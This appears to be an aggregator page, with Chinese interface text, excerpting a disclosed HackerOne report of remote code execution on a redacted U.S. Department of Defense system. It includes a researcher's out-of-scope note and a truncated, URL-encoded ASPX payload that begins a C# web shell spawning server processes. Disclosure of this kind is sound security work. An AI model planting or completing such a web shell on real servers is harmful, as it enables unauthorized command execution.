[hta3] Remote Code Execution on ████
该报告还没有中文解读。
原文摘录
摘自原文（16066 字符中的一小部分）
**Note** In the days leading up to this event, I looked at `███████` due to the ████████ press release which described this as the scope for this event. I understand that this is outside of the current scope but I feel obligated to report this.
原文中的代码
%3c%25%40%20%50%61%67%65%20%4c%61%6e%67%75%61%67%65%3d%22%43%23%22%25%3e%3c%25%40%20%49%6d%70%6f%72%74%20%4e%61%6d%65%73%70%61%63%65%3d%22%53%79%73%74%65%6d%22%20%25%3e%0d%0a%3c%25%20%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%20%3d%20 …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @cdl · 版权归作者与 U.S. Dept Of Defense 所有